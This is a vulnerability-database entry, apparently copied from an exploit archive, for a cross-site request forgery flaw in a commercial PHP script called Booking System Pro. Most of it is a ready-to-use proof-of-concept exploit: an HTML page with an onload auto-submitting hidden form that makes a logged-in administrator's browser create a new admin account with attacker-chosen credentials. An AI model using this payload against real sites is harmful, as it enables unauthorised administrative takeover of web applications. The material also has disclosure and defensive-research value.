Booking System Pro CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

CSRF vulnerability in Booking System Pr


                                                # Exploit Title: Booking System Pro CSRF Vulnerability
# Date: 28/08/2012
# Author: DaOne (@LibyanCA)
# Vendor: http://www.neptunescripts.com/products
# Price: $39


# CSRF Add Admin

&#60;html&#62;
&#60;body onload=&#34;document.form0.submit();&#34;&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://[target]/admin/users/add&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;data[User][name]&#34; value=&#34;webadmin&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;data[User][username]&#34; value=&#34;webadmin&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;data[User][password]&#34; value=&#34;pass123&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;data[User][email]&#34; value=&#34;[email protected]&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;data[User][phone]&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;data[User][role]&#34; value=&#34;admin&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1